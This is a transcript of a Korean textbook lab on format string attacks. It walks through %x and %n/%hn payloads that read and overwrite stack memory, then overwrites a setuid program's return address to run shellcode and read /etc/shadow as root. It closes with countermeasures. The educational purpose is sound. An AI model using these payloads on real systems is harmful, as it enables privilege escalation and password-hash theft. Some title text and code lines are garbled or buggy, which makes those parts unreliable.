포맷 스트링

37
IT CookBook, 정정 정정 정정정 정정 : 정정정 정정정 정정 ( 정정정 ) 정정 정정정

description

8. 포맷 스트링. 학습목표 포맷 스트링의 취약점을 이해한다. 포맷 스트링 문자를 이용해 스택 값을 읽을 수 있다. 포맷 스트링 문자를 이용해 임의의 주소 값을 변경할 수 있다. 포맷 스트링 공격을 수행할 수 있다. 포맷 스트링 공격를 방어할 수 있다. 내용 포맷 스트링 공격 포맷 스트링 공격에 대한 대응책. 포맷 스트링 공격. 포맷 스트링 공격 1990 년대 말 알려지기 시작 formatstring.c 와 같이 buffer 에 저장된 문자열을 printf 함수 이용해 출력 - PowerPoint PPT Presentation

Transcript of 포맷 스트링

Page 1: 포맷 스트링

IT CookBook, 정보 보안 개론과 실습 : 시스템 해킹과 보안 (개정판 )

포맷 스트링

Page 2: 포맷 스트링

2/37

Contents

학습목표 포맷 스트링의 취약점을 이해한다 . 포맷 스트링 문자를 이용해 스택 값을 읽을 수 있다 . 포맷 스트링 문자를 이용해 임의의 주소 값을 변경할 수 있다 . 포맷 스트링 공격을 수행할 수 있다 . 포맷 스트링 공격를 방어할 수 있다 .

내용 포맷 스트링 공격 포맷 스트링 공격에 대한 대응책

Page 3: 포맷 스트링

3/37

포맷 스트링 공격

포맷 스트링 공격 1990 년대 말 알려지기 시작 formatstring.c 와 같이 buffer 에 저장된 문자열을 printf 함수 이용해 출력 이것이 정상적인 코드 작성법 , 사용된 %s 와 같은 문자열을 가리켜 포맷 스트링이라

함 .

formatstring.c

#include <stdio.h>

main(){char *buffer = "wishfree";printf("%s\n", buffer);

}

Page 4: 포맷 스트링

4/37

포맷 스트링 공격

[ 표 8-1] 포맷 스트링 종류

매개변수 형식

%d 정수형 10 진수 상수 (integer)

%f 실수형 상수 (float)

%lf 실수형 상수 (double)

%c 문자 값 (char)

%s 문자 스트링 ((const)(unsigned) char *)

%u 10 진수 양의 정수

%o 8 진수 양의 정수

%x 16 진수 양의 정수

%s 문자열

%n int*( 총 바이트 수 )

%hn %n 의 반인 2 바이트 단위

Page 5: 포맷 스트링

5/37

test1.c 컴파일과 실행

[ 그림 8-1] test1.c 컴파일 및 실행 결과

실습 8-1 포맷 스트링 공격 원리 이해하기

1

test1.c

#include <stdio.h>

main(){char *buffer = "wishfree\n";printf(buffer);

}

gcc -o test1 test1.c./test1

Page 6: 포맷 스트링

6/37

test2.c 컴파일과 실행

wishfree 문자열 외에 8048440 출력 이 숫자는 wishfree 문자열이 저장된 다음 메모리에 존재하는 값 0x8048440 을

의미

[ 그림 8-2] test2.c 컴파일 및 실행 결과

실습 8-1 포맷 스트링 공격 원리 이해하기

2

test2.c

#include <stdio.h>

main(){char *buffer = "wishfree\n%x\n";printf(buffer);

}

gcc -g -o test2 test2.c./test2

Page 7: 포맷 스트링

7/37

gdb 에서 0x8048440 값을 확인• printf(buffer); 행에 브레이크 포인트 설정

[ 그림 8-3] test2 브레이크 포인트 설정

실습 8-1 포맷 스트링 공격 원리 이해하기

gdb test2listbreak 5

Page 8: 포맷 스트링

8/37

• &buffer 주소에 있는 값이 가리키는 값은 wishfree\n%x\n

[ 그림 8-4] test2 의 buffer 를 기준으로 스택 확인

실습 8-1 포맷 스트링 공격 원리 이해하기

runprint *bufferprint bufferprint &buffer

Page 9: 포맷 스트링

9/37

• &buffer 값과 buffer 값의 관계

[ 그림 8-5] &buffer 주소에 있는 값이 가리키는 값 확인

실습 8-1 포맷 스트링 공격 원리 이해하기

Page 10: 포맷 스트링

10/37

test3.c 컴파일과 실행 test2.c 의 char *buffer 값에 %x\n%x\n 을 추가한 test3.c 를 컴파일 gdb 로 test2.c 처럼 스택 값 확인

실습 8-1 포맷 스트링 공격 원리 이해하기

3

test3.c

#include <stdio.h>

main(){char *buffer = "wishfree\n%x\n%x\n%x\n";printf(buffer);

}

Page 11: 포맷 스트링

11/37

printf(buffer); 에 브레이크 포인트 설정 , 실행

[ 그림 8-7] test3.c 컴파일 및 브레이크 포인트 설정

실습 8-1 포맷 스트링 공격 원리 이해하기

gcc -g -o test3 test3.cgdb test3listbreak 5run

Page 12: 포맷 스트링

12/37

&buffer 를 기준으로 스택 값 조회하면 0x8048440, 0xbffffd68, 0x400309cb 값 확인

wishfree 문자열 다음 출력되는 값들 (0x8048440, 0xbffffd68,0x400309cb) 과 일치

‘wishfree\n%x\n%x\n%x\n’ 포맷 스트링으로 실행하면 , wishfree 다음

\n%x\n%x\n%x\n 의 %x 3 개가 문자열 자기 자신과 뒤로 이어지는 스택에 저장된 주소 값 출력

[ 그림 8-8] test3 실행 시 스택 값과 출력 값의 확인

실습 8-1 포맷 스트링 공격 원리 이해하기

print bufferprint &bufferx/8xw &bufferc

Page 13: 포맷 스트링

13/37

test4.c 컴파일과 실행 포맷 스트링을 이용하면 메모리 내용을 볼 수 있을뿐 아니라 , 변조도 가능

실습 8-1 포맷 스트링 공격 원리 이해하기

4

test4.c

#include <stdio.h>

main(){long i = 0x00000064, j = 1;printf("i 의 주소 : %x\n", &i);printf("i 의 값 : %x\n", i);

printf("%64d%n\n", j, &i);printf(" 변경된 i 의 값 : %x\n", i);

}

Page 14: 포맷 스트링

14/37

printf“( %64d%n\n”, j, &i) : i 의 주소값에 , j 에 64 의 16 진수값을입력 test4.c 를 컴파일 , 실행하면 64 가 16 진수인 0x40 로 출력

[ 그림 8-9] test4.c 실행 결과

실습 8-1 포맷 스트링 공격 원리 이해하기

gcc -o test4 test4.c./test4

Page 15: 포맷 스트링

15/37

test5.c 컴파일과 실행 test5.c 는 프로그램 실행 시 메모리 내용 조회 가능한 dumpcode.h 파일 함께 사

실습 8-1 포맷 스트링 공격 원리 이해하기

5

test5.c

#include <stdio.h>#include "dumpcode.h"main() {

char buffer[64];fgets(buffer, 63, stdin);printf(buffer);dumpcode((char *)buffer, 96);

}

dumpcode.hvoid printchar(unsigned char c) {

if(isprint(c))printf("%c", c);

elseprintf(".");

}

Page 16: 포맷 스트링

16/37

실습 8-1 포맷 스트링 공격 원리 이해하기

void dumpcode(unsigned char *buff, int len) {int i;for(i=0;i<len;i++) {

if(i%16==0)printf("0x%08x ", &buff[i]);

printf("%02x ", buff[i]);if(i%16-15==0) {

int j;printf(" ");for(j=I-15;j<=i;j++)

printchar(buff[j]);printf("\n");

}}

if(i%16!=0) {int j;int spaces=(len-i+16-i%16)*3+2;for(j=0;j<spaces;j++)

printf(" ");for(j=i-i%16;j<len;j++)

printchar(buff[j]);}printf("\n");

}

Page 17: 포맷 스트링

17/37

test5.c 컴파일 , 실행

[ 그림 8-10] test5.c 실행 결과

실습 8-1 포맷 스트링 공격 원리 이해하기

gcc -o test5 test5.c./test5AAAAAAAA

Page 18: 포맷 스트링

18/37

포맷 스트링 문자를 이용한 메모리 값 변조

아래와 같이 입력하고 실행

[ 그림 8-11] printf 함수를 이용한 문자열 출력

실습 8-1 포맷 스트링 공격 원리 이해하기

6

printf "\x41\x41\x41\x41\x42\x42\x42\x42"

Page 19: 포맷 스트링

19/37

printf 함수는 아스키 코드 값을 Hex 로 입력해 해당 문자열 출력 printf 함수 이용해 test5.c 에 실행 인수 전달 포맷 스트링에서는

다음과 같이 cat 문과 파이프 (|) 이용

[ 그림 8-12] 0xbffffd78 주소에 0x00000009 값 입력

실습 8-1 포맷 스트링 공격 원리 이해하기

(printf "\x41\x41\x41\x41\x78\xfd\xff\xbf%%c%%n"; cat) | ./test5

Page 20: 포맷 스트링

20/37

0xbffffd78∼0xbfffd7c 주소까지의 bcfdffbf(0xbffffdbc) 값이 09 00 00 00(0x00000009) 로 바뀜 ,09 는 문자의 개수 (\x41\x41\x41\x41\x98\xfd\xff\xbf 와 %c 까지 합해 9 개의 문자 )

%%n 을 %%hn 으로 입력 (% 대신 %% 로 쓰는 것은 cat 지나면서 % 하나는 사라지기

때문 ) → 0xbffffd78∼0xbfffd7a 2 바이트만이 (09 00) 로 바뀜

[ 그림 8-13] 0xbffffd78 주소에 0x0009 값 입력

실습 8-1 포맷 스트링 공격 원리 이해하기

(printf "\x41\x41\x41\x41\x78\xfd\xff\xbf%%c%%hn"; cat) | ./test5

Page 21: 포맷 스트링

21/37

포맷 스트링 문자를 이용한 메모리 값을 특정 값으로 변조 %%c 대신 %%64d 입력

[ 그림 8-14] test5 를 이용해 0xbffffd98 주소에 0x0048 값 입력

48 00 으로 바뀜 . 0x48 은 10 진수로 72(64+8) 이 72 ‘는 \x41\x41\x41\x41\x98\xfd\xff\xbf’ 문자열의 길이 (8 바이트 ) 와

%%64d 의 64 를 합한숫자

실습 8-1 포맷 스트링 공격 원리 이해하기

7

(printf "\x41\x41\x41\x41\x78\xfd\xff\xbf%%64d%%hn"; cat) | ./test5

Page 22: 포맷 스트링

22/37

포맷 스트링 문자를 이용한 메모리 값을 특정 주소 값으로 변조

0xbfffd78∼ 0xbfffd7c 값을 bc fa ab bf (0xbfabfabc) 로 바꿔보자 . bfabfabc 를 10 진수로 바꾼 값 3215719100 에서 앞의 8 개 문자열의 개수를

제한 값 %%3215719092d 시험

[ 그림 8-15] test5 를 이용해 0xbffffd78 주소에 입력 가능 범위 이상의 수 입력

프로그램 비정상적 종료 (x86 시스템은 3215719092 와 같이 큰 수를 CPU 에서 바로 인식할 수 없기 때문 )

실습 8-1 포맷 스트링 공격 원리 이해하기

8

(printf "\x41\x41\x41\x41\x78\xfd\xff\xbf%%3215719092d%%n"; cat) | ./test5

Page 23: 포맷 스트링

23/37

2 바이트씩 나누어 입력해 뒤의 2 바이트 0xfabc 입력 0xfabc 는 10 진수로 64188 결국 %%64180d 가 됨 ( 입력 )→2 바이트 변경 완료

[ 그림 8-16] test5 를 이용해 0xbffffd98 주소에 0xfabc 값 입력

실습 8-1 포맷 스트링 공격 원리 이해하기

(printf "\x41\x41\x41\x41\x78\xfd\xff\xbf%%64180d%%hn"; cat) | ./test5

Page 24: 포맷 스트링

24/37

나머지 2 바이트 변경 0xbfabfabc 는‘ -1079248196(0xbfabfabc-0x100000000)’, 스택에 1bfab(114603) 을 넣기 위해 이미 입력한 64180 을 빼고 50423 을 입력

[ 그림 8-17] test5 를 이용해 0xbffffd78 주소에 0xbfbcfac5 값 입력

실습 8-1 포맷 스트링 공격 원리 이해하기

(printf "\x41\x41\x41\x41\x78\xfd\xff\xbf\x41\x41\x41\x41\x7a\xfd\xff\xbf%%64180d%%hn%%50423d%%hn"; cat) | ./test5

Page 25: 포맷 스트링

25/37

64180d 앞에 \x41\x41\x41\x41\x98\xfd\xff\xbf\x41\x41\x41\x41\x9a

\xfd\xff\xbf 총 16 개의 문자가 있으므로 원래의 0xfabc(64188) 을 표현 위해

64172(64188-16) 로 바꾸어야 함 다음에는 합이 0x1bfab(114603) 가 되어야 하므로 나머지 값은 114603-

(16+64172)

50415 가 됨

[ 그림 8-18] test5 를 이용해 0xbffffd78 주소에 0xbfabfabc 값 입력

실습 8-1 포맷 스트링 공격 원리 이해하기

(printf "\x41\x41\x41\x41\x78\xfd\xff\xbf\x41\x41\x41\x41\x7a\xfd\xff\xbf%%64172d%%hn%%50415d%%hn"; cat) | ./test5

Page 26: 포맷 스트링

26/37

format_bugfile.c/ eggshell.c 컴파일과 권한 부여 및 실행 프로그램인 format_bugfile.c 과 공격 셸을 띄우기 위한 eggshell 컴파일

[ 그림 8-19] format_bugfile 의 동작 확인

실습 8-2 포맷 스트링 공격 수행하기

1

format_bugfile.c#include <stdio.h>main(){int i =0;char buf[64];memset(buf, 0, 64);read(0, buf, 64);printf(buf);dumpcode((char *)buffer, 96);}

gcc -o format_bugfile format_bugfile.cgcc -o eggshell eggshell.cchmod 4755 ./format_bugfile./format_bugfileAAAAAA

Page 27: 포맷 스트링

27/37

ret 주소 확인

AAAAAA 와 함께 적당한 길이의 %x 입력

[ 그림 8-20] format_bugfile 에 포맷 스트링 문자를 입력할 때 동작 확인

실습 8-2 포맷 스트링 공격 수행하기

2

./format_bugfileAAAAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x

%x %x

Page 28: 포맷 스트링

28/37

➊ 입력 값으로 넣은 AAAAAA 문자열의 정상적인 출력 값 ➋ 스택에 입력된 앞 부분 AAAA 값의 아스키 코드 값 (41)

➌ 상위 스택에 저장된 AA 값에 대한 아스키 코드 값 ➍ int i=0 으로 필자가 확인 지점으로 입력해둔 0 이 저장 ➎ 이 함수의 저장된 ebp 값 (sfp)

➏ main 함수의 ret 값

실습 8-2 포맷 스트링 공격 수행하기

AAAAAA 41414141 25204141 78252078 20782520 25207825 78252078

➊ ➋ ➌ 20782520 25207825 78252078 20782520 25207825

78252078 20782520 25207825 78252078 a782520 0 bffffd68 400309cb ➍ ➎ ➏

Page 29: 포맷 스트링

29/37

실습 8-2 포맷 스트링 공격 수행하기

Page 30: 포맷 스트링

30/37

Gab 에서 주소 확인

해당 메모리의 주소도 확인

[ 그림 8-22] format_bugfile 의 main 함수의 어셈블리어 코드 확인

실습 8-2 포맷 스트링 공격 수행하기

3

gdb format_bugfiledisass main

Page 31: 포맷 스트링

31/37

sfp 와 ret 확인 위해 main+3 에 브레이크 포인트 설정 실행

[ 그림 8-23] sfp 와 ret 값을 확인하기 위한 break 지점 설정 후 실행

➏값인 0x4000309cb 가 우리가 생각한 ret 와 일치

[ 그림 8-24] sfp 와 ret 값의 주소 값 확인

format_bugfile 이 실행되어 0xbfffd38 에 sfp, 0xbfffd3c 에 ret 주소가 저장

실습 8-2 포맷 스트링 공격 수행하기

break *0x804842brun

info reg $ebpx/12 $ebp

Page 32: 포맷 스트링

32/37

실제 ret 주소 확인

eggshell 이 메모리에 계속 남게 되므로 , ret 주소 값도 달라짐 이러한 실행에서는 단순히 상대적인 실행 주소 확인 Sfp 값인 bffffd68 와 확인한 0xbffffd3c 값의 차이 0x2c 이용해야 함

[ 그림 8-25] eggshell 의 실행

실습 8-2 포맷 스트링 공격 수행하기

4

su wishfree./eggshell

Page 33: 포맷 스트링

33/37

eggshell 을 올린 후 다시 format_bugfile 을 실행해 sfp 주소 확인 Sfp 는 0xbffff368, sfp 와 ret 주소 값의 차이가 0x2c, ret 주소는 0xbffff33c

(0xbffff368- 0x2c) 가 될 것

[ 그림 8-26] eggshell 의 실행 후 변화된 format_bugfile 의 sfp 확인

실습 8-2 포맷 스트링 공격 수행하기

./format_bugfileAAAAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x

%x %x

Page 34: 포맷 스트링

34/37

포맷 스트링 공격 수행

format_bugfile 의 ret 주소 (0xbffff33c∼0xbffff33f) 에 eggshell 에서 확보한 0xbffffd38 입력

0xbffffd18 에 1 을 붙여 1bfff 와 fd18 로 나누고 각각 10 진수를 구한다 .

0xbffff33c 에는 49895(114687-64792) 값 입력 0xbffff33e 에는 주소지에 대한 값인 16 개의 문자가 들어가므로 64776(64792-16)

입력

(printf““;cat) | ./bugfile 형식에 위의 코드를 입력해 실제 공격

[ 그림 8-27] 포맷 스트링 공격 실시

실습 8-2 포맷 스트링 공격 수행하기

5

./format_bugfileAAAAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x

%x %x

\x41\x41\x41\x41\x3c\xf3\xff\xbf\x41\x41\x41\x41\x3e\xf3\xff\xbf%%64776d%%hn%%49895d%%hn

(printf "\x41\x41\x41\x41\x3c\xf3\xff\xbf\x41\x41\x41\x41\x3e\xf3\xff\xbf%%64776d%%hn%%49895d%%hn";cat) | ./format_bugfile

Page 35: 포맷 스트링

35/37

관리자 계정 획득

[ 그림 8-28] 관리자 권한 확인

실습 8-2 포맷 스트링 공격 수행하기

idcat /etc/shadow

Page 36: 포맷 스트링

36/37

포맷 스트링 공격에 대한 대응책

printf 함수를 정상적으로 사용하여 공격에 대응

포맷 스트링 공격 취약점을 가진 함수• fprintf(fp, 서식 문자열 , 인자 1, ... , 인자 N) 함수

• sprintf(char *str, const char *fmt,...) 함수

• snprintf(char *str, size_t count, const char *fmt, ...) 함수

printf("%s\n", buffer);

fp= fopen("/dev/null", "w"); // 파일을 쓰기 모드로 오픈fprintf(fp, "decimal=%d octal=%o", 123,123);

a= sprintf("decimal= %d octal= %o", 123,123);print(" ", a);

decimal= 123 octal= 173

Page 37: 포맷 스트링

IT CookBook, 정보 보안 개론과 실습 : 시스템 해킹과 보안 (개정판 )